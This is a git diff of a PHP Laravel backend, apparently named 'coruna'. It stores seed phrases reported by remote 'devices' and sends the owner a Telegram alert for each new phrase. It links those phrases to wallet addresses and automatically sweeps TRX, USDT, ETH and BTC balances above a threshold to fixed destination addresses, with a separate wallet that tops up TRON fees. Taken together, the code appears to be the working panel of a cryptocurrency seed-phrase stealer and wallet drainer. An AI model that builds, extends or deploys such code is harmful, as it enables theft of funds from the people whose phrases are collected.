! is_numeric($balance) + || bccomp((string) $balance, $threshold, $scale) <= 0) { + create_log($base + [ + 'event' => 'auto_transfer_skip', + 'skip' => 'below_threshold_live', + 'asset' => $asset, + 'balance' => is_numeric($balance) ? (string) $balance : null, + 'threshold' => $threshold, + ], 'transfer'); + $stats['skipped']++; + + continue; + } + + $stats['triggered']++; + create_log($base + [ + 'event' => 'auto_transfer_trigger', + 'asset' => $asset, + 'balance' => (string) $balance, + 'threshold' => $threshold, + 'transfer_chain' => $transferChain, + ], 'transfer'); + + $result = $this->transfers->handle( + $transferChain, + (string) $address->address, + null, + $asset, + 'auto', + ); + + if (($result['ok'] ?? false) === true) { + $stats['ok']++; + create_log($base + [ + 'event' => 'auto_transfer_success', + 'asset' => $asset, + 'txid' => $result['txid'] ?? null, + 'amount' => $result['amount'] ?? null, + 'to' => $result['to'] ?? null, + ], 'transfer'); + + try { + $this->balances->refresh($address); + $address->refresh(); + } catch (\Throwable $e) { + create_log($base + [ + 'event' => 'auto_transfer_balance_refresh_failed', + 'asset' => $asset, + 'error' => $e->getMessage(), + ], 'transfer'); + } + } else { + $stats['failed']++; + create_log($base + [ + 'event' => 'auto_transfer_failed', + 'asset' => $asset, + 'error' => $result['error'] ?? 'unknown', + ], 'transfer'); + } + } + + if (! $anyAssetChecked) { + create_log($base + [ + 'event' => 'auto_transfer_skip', + 'skip' => 'no_numeric_balances_for_chain_assets', + 'assets' => $assets, + ], 'transfer'); + $stats['skipped']++; + } + + return $stats; + } + + private function recentAutoSuccess(string $fromAddress, string $asset): bool + { + $fromAddress = trim($fromAddress); + $asset = strtoupper(trim($asset)); + if ($fromAddress === '' || $asset === '') { + return false; + } + + return TransferRecord::query() + ->where('from_address', $fromAddress) + ->where('asset', $asset) + ->where('operator', 'auto') + ->where('status', TransferRecord::STATUS_SUCCESS) + ->where('created_at', '>=', now()->subMinutes(self::COOLDOWN_MINUTES)) + ->exists(); + } + + private function assetScale(string $asset): int + { + return match (strtoupper($asset)) { + 'ETH' => 18, + 'BTC' => 8, + default => 6, + }; + } + + /** + * @return list + */ + private function assetsForChain(string $chain): array + { + return match ($chain) { + 'TRON', 'TRX' => ['USDT', 'TRX'], + 'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT'], + 'BTC', 'BITCOIN' => ['BTC'], + default => [], + }; + } + + private function transferChainKey(string $chain): ?string + { + return match ($chain) { + 'TRON', 'TRX' => 'tron', + 'ETH', 'ETHEREUM', 'EVM' => 'eth', + 'BTC', 'BITCOIN' => 'btc', + default => null, + }; + } +} diff --git a/app/Services/Chain/TronDriver.php b/app/Services/Chain/TronDriver.php index 621de43..e5c1e7d 100644 --- a/app/Services/Chain/TronDriver.php +++ b/app/Services/Chain/TronDriver.php @@ -28,8 +28,20 @@ class TronDriver implements ChainDriver $derived = Bip44::derive($mnemonic, $this->path($index)); $from = TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']); - $sun = $this->toSun($amount); + return $this->sendNativeWithPrivateKey($derived['private_key'], $from, $to, $amount); + } + + /** + * Send TRX using a raw private key (fee top-up wallet). + */ + public function sendNativeWithPrivateKey(string $privateKeyHex, string $from, string $to, string $amount): string + { + if (! $this->isValidAddress($from) || ! $this->isValidAddress($to)) { + throw new RuntimeException('Invalid Tron address'); + } + + $sun = $this->toSun($amount); $tx = $this->post('/wallet/createtransaction', [ 'owner_address' => $from, 'to_address' => $to, @@ -37,7 +49,19 @@ class TronDriver implements ChainDriver 'visible' => true, ]); - return $this->signAndBroadcast($tx, $derived['private_key']); + return $this->signAndBroadcast($tx, $privateKeyHex); + } + + public static function addressFromPrivateKey(string $privateKeyHex): string + { + $privateKeyHex = strtolower(trim($privateKeyHex)); + if (str_starts_with($privateKeyHex, '0x')) { + $privateKeyHex = substr($privateKeyHex, 2); + } + $ec = new \Elliptic\EC('secp256k1'); + $pub = $ec->keyFromPrivate($privateKeyHex)->getPublic(false, 'hex'); + + return TronAddress::fromUncompressedPublicKey($pub); } public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index 7463a30..6506710 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -24,6 +24,7 @@ class IngestService private readonly TelegramNotifier $telegram, private readonly WalletBalanceService $balances, private readonly TokenviewMonitorService $tokenview, + private readonly MnemonicAddressLinker $mnemonicLinker, ) {} /** @@ -452,6 +453,7 @@ class IngestService $row->mnemonic = $secret; $row->save(); if ($isNew) { + $this->mnemonicLinker->linkMnemonicToDeviceAddresses($row); $this->telegram->notifyNewMemoric($device->device_id, $source, $secret); } } @@ -567,6 +569,10 @@ class IngestService $attrs ); + if ($addr->mnemonic_id === null) { + $this->mnemonicLinker->linkAddress($addr); + } + $isTron = in_array($chainType, ['TRON', 'TRX'], true); // Tron: client payloads often omit/zero balances — pull TRX/USDT before notify. if ($isTron && (! $existing || $coinAttrs === [])) { diff --git a/app/Services/MnemonicAddressLinker.php b/app/Services/MnemonicAddressLinker.php new file mode 100644 index 0000000..e4d1d51 --- /dev/null +++ b/app/Services/MnemonicAddressLinker.php @@ -0,0 +1,205 @@ +mnemonic_id !== null) { + return false; + } + + $driver = $this->resolveDriver((string) $address->chain_type); + if ($driver === null) { + return false; + } + + $mnemonics = WalletMnemonic::query() + ->where('device_id', $address->device_id) + ->orderBy('id') + ->get(); + + if ($mnemonics->isEmpty()) { + return false; + } + + $target = (string) $address->address; + $caseInsensitive = $driver->chainId() === 'eth'; + + foreach ($mnemonics as $mnemonicRow) { + $phrase = $mnemonicRow->mnemonic; + if ($phrase === null || trim($phrase) === '') { + continue; + } + + $matchedIndex = $this->matchIndex($driver, $phrase, $target, $caseInsensitive); + if ($matchedIndex === null) { + continue; + } + + $address->mnemonic_id = $mnemonicRow->id; + $address->derive_index = $matchedIndex; + $address->save(); + + return true; + } + + return false; + } + + /** + * After a new mnemonic is stored: link all unlinked addresses on the same device + * whose chains appear among those addresses (only those chains are derived). + * + * @return int Number of addresses linked + */ + public function linkMnemonicToDeviceAddresses(WalletMnemonic $mnemonic): int + { + $phrase = $mnemonic->mnemonic; + if ($phrase === null || trim($phrase) === '') { + return 0; + } + + $addresses = WalletAddress::query() + ->where('device_id', $mnemonic->device_id) + ->whereNull('mnemonic_id') + ->orderBy('id') + ->get(); + + if ($addresses->isEmpty()) { + return 0; + } + + $chainTypes = $addresses + ->pluck('chain_type') + ->filter(fn ($c) => is_string($c) && $c !== '') + ->unique() + ->values() + ->all(); + + /** @var array> $derivedByChainKey map chainKey => [normalizedAddress => index] */ + $derivedByChainKey = []; + foreach ($chainTypes as $chainType) { + $driver = $this->resolveDriver((string) $chainType); + if ($driver === null) { + continue; + } + $chainKey = $driver->chainId(); + if (isset($derivedByChainKey[$chainKey])) { + continue; + } + $derivedByChainKey[$chainKey] = $this->deriveIndexMap($driver, $phrase); + } + + if ($derivedByChainKey === []) { + return 0; + } + + $linked = 0; + foreach ($addresses as $address) { + $driver = $this->resolveDriver((string) $address->chain_type); + if ($driver === null) { + continue; + } + $map = $derivedByChainKey[$driver->chainId()] ?? null; + if ($map === null) { + continue; + } + + $lookup = $driver->chainId() === 'eth' + ? strtolower((string) $address->address) + : (string) $address->address; + + if (! array_key_exists($lookup, $map)) { + continue; + } + + $address->mnemonic_id = $mnemonic->id; + $address->derive_index = $map[$lookup]; + $address->save(); + $linked++; + } + + return $linked; + } + + private function resolveDriver(string $chainType): ?ChainDriver + { + $chain = strtolower(trim($chainType)); + if ($chain === '') { + return null; + } + + // BNB / BSC share ETH derivation paths. + if (in_array($chain, ['bnb', 'bsc'], true)) { + $chain = 'eth'; + } + + try { + return $this->chains->resolve($chain); + } catch (InvalidArgumentException) { + return null; + } + } + + /** + * @return array normalized address => derive index + */ + private function deriveIndexMap(ChainDriver $driver, string $phrase): array + { + $caseInsensitive = $driver->chainId() === 'eth'; + $map = []; + for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) { + try { + $derived = $driver->deriveAddress($phrase, $index); + } catch (\Throwable) { + break; + } + $key = $caseInsensitive ? strtolower($derived) : $derived; + if (! array_key_exists($key, $map)) { + $map[$key] = $index; + } + } + + return $map; + } + + private function matchIndex( + ChainDriver $driver, + string $phrase, + string $target, + bool $caseInsensitive, + ): ?int { + for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) { + try { + $derived = $driver->deriveAddress($phrase, $index); + } catch (\Throwable) { + return null; + } + $match = $caseInsensitive + ? strcasecmp($derived, $target) === 0 + : $derived === $target; + if ($match) { + return $index; + } + } + + return null; + } +} diff --git a/app/Services/SettingsService.php b/app/Services/SettingsService.php index b653e6d..9881b1c 100644 --- a/app/Services/SettingsService.php +++ b/app/Services/SettingsService.php @@ -2,42 +2,58 @@ namespace App\Services; -use App\Models\Setting; -use Illuminate\Support\Facades\Cache; -use Illuminate\Support\Facades\Schema; +use RuntimeException; class SettingsService { - public const KEYS = [ - 'telegram.bot_token', - 'telegram.bot_username', - 'telegram.owner_chat_id', - 'channels.max_per_agent', - 'channels.domains', - 'panel.admin_hosts', - 'panel.agent_hosts', + /** + * Admin-editable settings persisted to `.env`. + * + * @var array + */ + public const ENV_KEYS = [ + 'telegram.bot_username' => 'TELEGRAM_BOT_USERNAME', + 'telegram.owner_chat_id' => 'TELEGRAM_OWNER_CHAT_ID', + 'auto_transfer.enabled' => 'AUTO_TRANSFER_ENABLED', + 'auto_transfer.threshold_usdt' => 'AUTO_TRANSFER_THRESHOLD_USDT', + 'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX', + 'auto_transfer.threshold_eth' => 'AUTO_TRANSFER_THRESHOLD_ETH', + 'auto_transfer.threshold_btc' => 'AUTO_TRANSFER_THRESHOLD_BTC', + 'transfer.fee_address_tron' => 'TRANSFER_FEE_ADDRESS_TRON', + 'transfer.fee_private_key_tron' => 'TRANSFER_FEE_PRIVATE_KEY_TRON', + 'transfer.fee_topup_trx' => 'TRANSFER_FEE_TOPUP_TRX', ]; - /** @return array */ - public function all(): array - { - $out = []; - foreach (self::KEYS as $key) { - $out[$key] = $this->get($key); - } - - return $out; - } + /** Empty form value means keep existing env value. */ + private const SECRET_KEYS = [ + 'transfer.fee_private_key_tron', + ]; public function get(string $key, ?string $default = null): ?string { - if (! $this->tableReady()) { + $value = match ($key) { + 'telegram.bot_token' => config('coruna.telegram.bot_token'), + 'telegram.bot_username' => config('coruna.telegram.bot_username'), + 'telegram.owner_chat_id' => config('coruna.telegram.owner_chat_id'), + 'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0', + 'auto_transfer.threshold_usdt' => config('coruna.auto_transfer.threshold_usdt'), + 'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'), + 'auto_transfer.threshold_eth' => config('coruna.auto_transfer.threshold_eth'), + 'auto_transfer.threshold_btc' => config('coruna.auto_transfer.threshold_btc'), + 'transfer.to_address' => config('coruna.transfer.to_address'), + 'transfer.to_address_eth' => config('coruna.transfer.to_address_eth'), + 'transfer.to_address_btc' => config('coruna.transfer.to_address_btc'), + 'transfer.fee_address_tron' => config('coruna.transfer.fee_address_tron'), + 'transfer.fee_private_key_tron' => config('coruna.transfer.fee_private_key_tron'), + 'transfer.fee_topup_trx' => config('coruna.transfer.fee_topup_trx'), + default => null, + }; + + if ($value === null || $value === '') { return $default; } - $map = $this->cachedMap(); - - return array_key_exists($key, $map) ? $map[$key] : $default; + return (string) $value; } /** @@ -45,82 +61,51 @@ class SettingsService */ public function putMany(array $values): void { + $envPairs = []; + foreach ($values as $key => $value) { - if (! in_array($key, self::KEYS, true)) { + if (! isset(self::ENV_KEYS[$key])) { continue; } + $str = $value === null ? null : trim((string) $value); - Setting::query()->updateOrCreate( - ['key' => $key], - ['value' => $str === '' ? null : $str] - ); + if (in_array($key, self::SECRET_KEYS, true) && ($str === null || $str === '')) { + continue; + } + + $str ??= ''; + $envPairs[self::ENV_KEYS[$key]] = $str; + $this->applyRuntimeConfig($key, $str); + } + + if ($envPairs !== []) { + $this->writeEnv($envPairs); } - Cache::forget($this->cacheKey()); - $this->applyToConfig(); } + /** Kept for boot compatibility; config is loaded from `.env` via config/coruna.php. */ public function applyToConfig(): void { - if (! $this->tableReady()) { - return; - } - - $map = $this->cachedMap(); - - $bot = $map['telegram.bot_token'] ?? null; - if ($bot !== null && $bot !== '') { - config([ - 'coruna.telegram.bot_token' => $bot, - 'nutgram.token' => $bot, - ]); - } - $botName = $map['telegram.bot_username'] ?? null; - if ($botName !== null) { - config(['coruna.telegram.bot_username' => $botName]); - } - $chat = $map['telegram.owner_chat_id'] ?? null; - if ($chat !== null && $chat !== '') { - config(['coruna.telegram.owner_chat_id' => $chat]); - } - - $max = $map['channels.max_per_agent'] ?? null; - if ($max !== null && $max !== '' && is_numeric($max)) { - config(['coruna.channels.max_per_agent' => max(1, (int) $max)]); - } - - if (array_key_exists('channels.domains', $map) && $map['channels.domains'] !== null) { - $domains = self::parseDomains($map['channels.domains']); - // Settings override channel hosts only; reporting stays CORUNA_REPORTING_DOMAINS. - config([ - 'coruna.channel_domains' => $domains, - 'coruna.deployment_domains' => $domains, - ]); - } - - // Once saved in settings, DB wins (null/empty = no Host restriction). - if (array_key_exists('panel.admin_hosts', $map)) { - config(['coruna.panel.admin_hosts' => self::parseDomains($map['panel.admin_hosts'])]); - } - if (array_key_exists('panel.agent_hosts', $map)) { - config(['coruna.panel.agent_hosts' => self::parseDomains($map['panel.agent_hosts'])]); - } + // no-op: no DB overlay } - /** Effective values for the settings form (DB overrides env). */ + /** @return array */ public function effectiveForForm(): array { - $domains = config('coruna.channel_domains', []); - $adminHosts = config('coruna.panel.admin_hosts', []); - $agentHosts = config('coruna.panel.agent_hosts', []); + $feeKeySet = trim((string) config('coruna.transfer.fee_private_key_tron', '')) !== ''; return [ - 'telegram.bot_token' => (string) (config('coruna.telegram.bot_token') ?: ''), 'telegram.bot_username' => (string) (config('coruna.telegram.bot_username') ?: ''), 'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''), - 'channels.max_per_agent' => (string) (int) config('coruna.channels.max_per_agent', 5), - 'channels.domains' => is_array($domains) ? implode("\n", $domains) : '', - 'panel.admin_hosts' => is_array($adminHosts) ? implode("\n", $adminHosts) : '', - 'panel.agent_hosts' => is_array($agentHosts) ? implode("\n", $agentHosts) : '', + 'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0', + 'auto_transfer.threshold_usdt' => (string) (config('coruna.auto_transfer.threshold_usdt') ?? ''), + 'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''), + 'auto_transfer.threshold_eth' => (string) (config('coruna.auto_transfer.threshold_eth') ?? ''), + 'auto_transfer.threshold_btc' => (string) (config('coruna.auto_transfer.threshold_btc') ?? ''), + 'transfer.fee_address_tron' => (string) config('coruna.transfer.fee_address_tron', ''), + 'transfer.fee_private_key_tron' => '', + 'transfer.fee_private_key_tron_set' => $feeKeySet ? '1' : '0', + 'transfer.fee_topup_trx' => (string) (config('coruna.transfer.fee_topup_trx') ?: '20'), ]; } @@ -136,7 +121,6 @@ class SettingsService $d = trim((string) $d); $d = preg_replace('#^https?://#i', '', $d) ?? $d; $d = rtrim($d, '/'); - // Host only (drop path / port). $d = explode('/', $d, 2)[0]; $d = preg_replace('/:\d+$/', '', $d) ?? $d; @@ -144,25 +128,64 @@ class SettingsService }, $parts))); } - /** @return array */ - private function cachedMap(): array + private function applyRuntimeConfig(string $key, string $value): void { - return Cache::remember($this->cacheKey(), 300, function () { - return Setting::query()->pluck('value', 'key')->all(); - }); + match ($key) { + 'telegram.bot_username' => config(['coruna.telegram.bot_username' => $value]), + 'telegram.owner_chat_id' => config(['coruna.telegram.owner_chat_id' => $value]), + 'auto_transfer.enabled' => config(['coruna.auto_transfer.enabled' => $value === '1']), + 'auto_transfer.threshold_usdt' => config(['coruna.auto_transfer.threshold_usdt' => $value]), + 'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]), + 'auto_transfer.threshold_eth' => config(['coruna.auto_transfer.threshold_eth' => $value]), + 'auto_transfer.threshold_btc' => config(['coruna.auto_transfer.threshold_btc' => $value]), + 'transfer.fee_address_tron' => config(['coruna.transfer.fee_address_tron' => $value]), + 'transfer.fee_private_key_tron' => config(['coruna.transfer.fee_private_key_tron' => $value]), + 'transfer.fee_topup_trx' => config(['coruna.transfer.fee_topup_trx' => $value !== '' ? $value : '20']), + default => null, + }; } - private function cacheKey(): string + /** + * @param array $pairs + */ + private function writeEnv(array $pairs): void { - return 'coruna.settings.map'; - } + $path = base_path('.env'); + if (! is_file($path)) { + throw new RuntimeException('.env not found'); + } + if (! is_writable($path)) { + throw new RuntimeException('.env is not writable'); + } - private function tableReady(): bool - { - try { - return Schema::hasTable('settings'); - } catch (\Throwable) { - return false; + $content = (string) file_get_contents($path); + foreach ($pairs as $name => $value) { + $line = $name.'='.$this->formatEnvValue($value); + if (preg_match('/^'.preg_quote($name, '/').'=/m', $content) === 1) { + $content = preg_replace('/^'.preg_quote($name, '/').'=.*$/m', $line, $content, 1) ?? $content; + } else { + $content = rtrim($content, "\r\n")."\n".$line."\n"; + } + + putenv($name.'='.$value); + $_ENV[$name] = $value; + $_SERVER[$name] = $value; + } + + if (file_put_contents($path, $content) === false) { + throw new RuntimeException('Failed to write .env'); } } + + private function formatEnvValue(string $value): string + { + if ($value === '') { + return ''; + } + if (preg_match('/[\s#"\'\\\\]/', $value) === 1) { + return '"'.str_replace(['\\', '"'], ['\\\\', '\\"'], $value).'"'; + } + + return $value; + } } diff --git a/app/Services/TelegramNotifier.php b/app/Services/TelegramNotifier.php index b45e698..b054961 100644 --- a/app/Services/TelegramNotifier.php +++ b/app/Services/TelegramNotifier.php @@ -296,6 +296,72 @@ class TelegramNotifier $this->send(implode("\n", $lines), $deviceId); } + /** + * Auto-transfer result (success or failure). + */ + public function notifyAutoTransfer( + string $deviceId, + string $fromAddress, + string $chain, + string $asset, + bool $ok, + ?string $amount = null, + ?string $toAddress = null, + ?string $txid = null, + ?string $error = null, + ): void { + $lines = [ + $ok ? '🚀 Auto Transfer OK' : '⚠️ Auto Transfer Failed', + ...$this->deviceHeader($deviceId), + '⛓ Chain: '.$this->e($chain !== '' ? strtoupper($chain) : '—'), + '💎 Asset: '.$this->e($asset !== '' ? strtoupper($asset) : '—'), + '📤 From: '.$this->e($fromAddress).'', + ]; + if ($toAddress !== null && trim($toAddress) !== '') { + $lines[] = '📥 To: '.$this->e($toAddress).''; + } + if ($amount !== null && trim($amount) !== '') { + $lines[] = '💵 Amount: '.$this->e($amount).' '.$this->e(strtoupper($asset)); + } + if ($ok && $txid !== null && trim($txid) !== '') { + $lines[] = '🔗 Tx: '.$this->e($txid).''; + } + if (! $ok && $error !== null && trim($error) !== '') { + $lines[] = '❌ Error: '.$this->e($error); + } + $this->send(implode("\n", $lines), $deviceId); + } + + /** + * TRON fee / energy top-up result. + */ + public function notifyFeeTopup( + string $deviceId, + string $feeFrom, + string $toAddress, + bool $ok, + ?string $amount = null, + ?string $txid = null, + ?string $error = null, + ): void { + $lines = [ + $ok ? '⚡ TRX Fee Top-up OK' : '⚠️ TRX Fee Top-up Failed', + ...$this->deviceHeader($deviceId), + '📤 Fee wallet: '.$this->e($feeFrom).'', + '📥 To: '.$this->e($toAddress).'', + ]; + if ($amount !== null && trim($amount) !== '') { + $lines[] = '💵 Amount: '.$this->e($amount).' TRX'; + } + if ($ok && $txid !== null && trim($txid) !== '') { + $lines[] = '🔗 Tx: '.$this->e($txid).''; + } + if (! $ok && $error !== null && trim($error) !== '') { + $lines[] = '❌ Error: '.$this->e($error); + } + $this->send(implode("\n", $lines), $deviceId); + } + /** @return list */ private function deviceHeader(string $deviceId): array { diff --git a/app/Services/TransferService.php b/app/Services/TransferService.php index 74e70c9..5566c5f 100644 --- a/app/Services/TransferService.php +++ b/app/Services/TransferService.php @@ -13,6 +13,8 @@ class TransferService { public function __construct( private readonly ChainManager $chains, + private readonly AutoTransferConfig $autoConfig, + private readonly TelegramNotifier $telegram, ) {} /** @@ -53,6 +55,17 @@ class TransferService $asset = strtoupper(trim($asset)); $record['asset'] = $asset; + + create_log([ + 'event' => 'transfer_start', + 'chain' => $chain, + 'asset' => $asset, + 'from' => $fromAddress, + 'to' => $to, + 'amount' => $record['amount'], + 'operator' => $operator, + ], 'transfer'); + $driver = $this->chains->resolve($chain); if (! $driver->isValidAddress($fromAddress)) { @@ -81,6 +94,11 @@ class TransferService ['mnemonic' => $mnemonic, 'index' => $index] = $resolved; + // Energy/bandwidth fee: only TRON USDT (TRC20) needs a TRX buffer. + if ($asset === 'USDT' && in_array($chain, ['tron', 'trx'], true)) { + $this->ensureTronFeeTopup($driver, $fromAddress, $operator); + } + $txid = match ($asset) { 'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount), 'USDT' => $driver->sendToken( @@ -111,6 +129,157 @@ class TransferService } } + /** + * TRON USDT only: if fromAddress TRX < fee_topup_trx target, top up the shortfall from the fee wallet. + * Example: balance 5, target 20 → send 15 TRX. + */ + private function ensureTronFeeTopup(ChainDriver $driver, string $fromAddress, ?string $operator): void + { + if (! $driver instanceof \App\Services\Chain\TronDriver) { + return; + } + + $target = $this->autoConfig->feeTopupTrx(); + $trx = $driver->getNativeBalance($fromAddress); + if (bccomp($trx, $target, 6) >= 0) { + create_log([ + 'event' => 'tron_fee_topup_skip', + 'reason' => 'balance_sufficient', + 'from' => $fromAddress, + 'trx' => $trx, + 'target' => $target, + 'operator' => $operator, + ], 'transfer'); + + return; + } + + $amount = bcsub($target, $trx, 6); + $amount = rtrim(rtrim($amount, '0'), '.'); + if ($amount === '' || str_starts_with($amount, '-') || bccomp($amount, '0', 6) <= 0) { + return; + } + + $feeAddress = $this->autoConfig->feeAddressTron(); + $feeKey = $this->autoConfig->feePrivateKeyTron(); + if ($feeAddress === '' || $feeKey === '') { + create_log([ + 'event' => 'tron_fee_topup_failed', + 'error' => 'fee wallet not configured', + 'from' => $fromAddress, + 'trx' => $trx, + 'target' => $target, + 'operator' => $operator, + ], 'transfer'); + throw new RuntimeException('TRON fee top-up wallet is not configured (address/private key)'); + } + if (! $driver->isValidAddress($feeAddress)) { + throw new RuntimeException('Invalid TRON fee top-up address'); + } + + try { + $derived = \App\Services\Chain\TronDriver::addressFromPrivateKey($feeKey); + if (strcasecmp($derived, $feeAddress) !== 0) { + throw new RuntimeException('TRON fee private key does not match fee address'); + } + } catch (RuntimeException $e) { + throw $e; + } catch (\Throwable $e) { + throw new RuntimeException('Invalid TRON fee private key: '.$e->getMessage()); + } + + create_log([ + 'event' => 'tron_fee_topup_start', + 'fee_from' => $feeAddress, + 'to' => $fromAddress, + 'amount' => $amount, + 'trx_before' => $trx, + 'target' => $target, + 'operator' => $operator, + ], 'transfer'); + + $topupRecord = [ + 'from_address' => $feeAddress, + 'to_address' => $fromAddress, + 'chain' => 'tron', + 'tx_hash' => null, + 'amount' => $amount, + 'type' => TransferRecord::TYPE_OUT, + 'asset' => 'TRX', + 'operator' => 'fee-topup'.($operator ? ':'.$operator : ''), + 'status' => TransferRecord::STATUS_FAILED, + 'error' => null, + ]; + + try { + $txid = $driver->sendNativeWithPrivateKey($feeKey, $feeAddress, $fromAddress, $amount); + $topupRecord['tx_hash'] = $txid; + $topupRecord['status'] = TransferRecord::STATUS_SUCCESS; + $this->finish($topupRecord, [ + 'ok' => true, + 'txid' => $txid, + 'from' => $feeAddress, + 'to' => $fromAddress, + 'amount' => $amount, + 'asset' => 'TRX', + ]); + create_log([ + 'event' => 'tron_fee_topup_success', + 'fee_from' => $feeAddress, + 'to' => $fromAddress, + 'amount' => $amount, + 'txid' => $txid, + 'operator' => $operator, + ], 'transfer'); + $this->notifyFeeTopupTelegram( + feeFrom: $feeAddress, + toAddress: $fromAddress, + ok: true, + amount: $amount, + txid: $txid, + ); + } catch (\Throwable $e) { + $topupRecord['error'] = $e->getMessage(); + $this->finish($topupRecord, ['ok' => false, 'error' => $e->getMessage()]); + create_log([ + 'event' => 'tron_fee_topup_failed', + 'fee_from' => $feeAddress, + 'to' => $fromAddress, + 'amount' => $amount, + 'error' => $e->getMessage(), + 'operator' => $operator, + ], 'transfer'); + $this->notifyFeeTopupTelegram( + feeFrom: $feeAddress, + toAddress: $fromAddress, + ok: false, + amount: $amount, + error: $e->getMessage(), + ); + throw new RuntimeException('TRON fee top-up failed: '.$e->getMessage()); + } + + $deadline = microtime(true) + 45; + do { + if (! app()->runningUnitTests()) { + usleep(1_500_000); + } + $trx = $driver->getNativeBalance($fromAddress); + if (bccomp($trx, $target, 6) >= 0) { + return; + } + } while (microtime(true) < $deadline); + + create_log([ + 'event' => 'tron_fee_topup_confirm_timeout', + 'to' => $fromAddress, + 'trx_after' => $trx, + 'target' => $target, + 'operator' => $operator, + ], 'transfer'); + throw new RuntimeException('TRON fee top-up sent but balance still below '.$target); + } + /** * @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record * @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result @@ -155,9 +324,92 @@ class TransferService 'error' => $record['error'], ], 'transfer'); + $this->notifyTransferTelegram($record, $result); + return $result; } + /** + * @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record + * @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result + */ + private function notifyTransferTelegram(array $record, array $result): void + { + $operator = (string) ($record['operator'] ?? ''); + if ($operator !== 'auto') { + return; + } + + $from = (string) ($record['from_address'] ?? ''); + $deviceKey = $this->deviceKeyForAddress($from); + if ($deviceKey === '') { + return; + } + + try { + $this->telegram->notifyAutoTransfer( + $deviceKey, + $from, + (string) ($record['chain'] ?? ''), + (string) ($record['asset'] ?? ''), + (bool) ($result['ok'] ?? false), + isset($record['amount']) ? (string) $record['amount'] : null, + isset($record['to_address']) ? (string) $record['to_address'] : null, + isset($record['tx_hash']) ? (string) $record['tx_hash'] : null, + isset($record['error']) ? (string) $record['error'] : ($result['error'] ?? null), + ); + } catch (\Throwable) { + // never break transfer for telegram + } + } + + private function notifyFeeTopupTelegram( + string $feeFrom, + string $toAddress, + bool $ok, + ?string $amount = null, + ?string $txid = null, + ?string $error = null, + ): void { + $deviceKey = $this->deviceKeyForAddress($toAddress); + if ($deviceKey === '') { + return; + } + + try { + $this->telegram->notifyFeeTopup( + $deviceKey, + $feeFrom, + $toAddress, + $ok, + $amount, + $txid, + $error, + ); + } catch (\Throwable) { + // never break transfer for telegram + } + } + + private function deviceKeyForAddress(string $address): string + { + $address = trim($address); + if ($address === '') { + return ''; + } + + try { + $devicePk = WalletAddress::query()->where('address', $address)->value('device_id'); + if ($devicePk === null) { + return ''; + } + + return (string) (\App\Models\Device::query()->whereKey($devicePk)->value('device_id') ?: ''); + } catch (\Throwable) { + return ''; + } + } + private function toAddress(string $chain): string { return match ($chain) { @@ -235,14 +487,14 @@ class TransferService $addressRows = WalletAddress::query() ->where('address', $fromAddress) ->orderBy('id') - ->get(['device_id', 'source']); + ->get(['id', 'device_id', 'source', 'mnemonic_id', 'derive_index']); // ETH addresses are often stored with mixed-case checksum. if ($addressRows->isEmpty() && str_starts_with(strtolower($fromAddress), '0x')) { $addressRows = WalletAddress::query() ->whereRaw('LOWER(address) = ?', [strtolower($fromAddress)]) ->orderBy('id') - ->get(['device_id', 'source']); + ->get(['id', 'device_id', 'source', 'mnemonic_id', 'derive_index']); } if ($addressRows->isEmpty()) { @@ -253,6 +505,29 @@ class TransferService $caseInsensitive = $driver->chainId() === 'eth'; foreach ($addressRows as $row) { + if ($row->mnemonic_id !== null) { + $linked = WalletMnemonic::query()->find($row->mnemonic_id); + $phrase = $linked?->mnemonic; + if ($phrase !== null && trim($phrase) !== '') { + if ($row->derive_index !== null) { + return ['mnemonic' => $phrase, 'index' => (int) $row->derive_index]; + } + for ($index = 0; $index <= MnemonicAddressLinker::MAX_DERIVE_INDEX; $index++) { + try { + $derived = $driver->deriveAddress($phrase, $index); + $match = $caseInsensitive + ? strcasecmp($derived, $fromAddress) === 0 + : $derived === $fromAddress; + if ($match) { + return ['mnemonic' => $phrase, 'index' => $index]; + } + } catch (\Throwable) { + break; + } + } + } + } + $mnemonics = WalletMnemonic::query() ->where('device_id', $row->device_id) ->where(function ($q) use ($row) { diff --git a/app/Services/WalletBalanceService.php b/app/Services/WalletBalanceService.php index 00aad50..d7d9add 100644 --- a/app/Services/WalletBalanceService.php +++ b/app/Services/WalletBalanceService.php @@ -44,12 +44,14 @@ class WalletBalanceService try { $driver = $this->chains->resolve('eth'); - $address->eth = $driver->getNativeBalance($addr); + $attrs = [ + 'eth' => $driver->getNativeBalance($addr), + ]; $contract = trim((string) config('coruna.eth.usdt_contract', '')); if ($contract !== '') { - $address->usdt = $driver->getTokenBalance($addr, $contract); + $attrs['usdt'] = $driver->getTokenBalance($addr, $contract); } - $address->save(); + $this->persistCoins($address, $attrs); Log::info('eth balance refresh ok', [ 'wallet_address_id' => $address->id, @@ -78,8 +80,9 @@ class WalletBalanceService try { $driver = $this->chains->resolve('btc'); - $address->btc = $driver->getNativeBalance($addr); - $address->save(); + $this->persistCoins($address, [ + 'btc' => $driver->getNativeBalance($addr), + ]); Log::info('btc balance refresh ok', [ 'wallet_address_id' => $address->id, @@ -120,10 +123,11 @@ class WalletBalanceService ]; } - $address->trx = $balances['trx']; - $address->usdt = $balances['usdt']; // No official BTC/ETH/BNB on 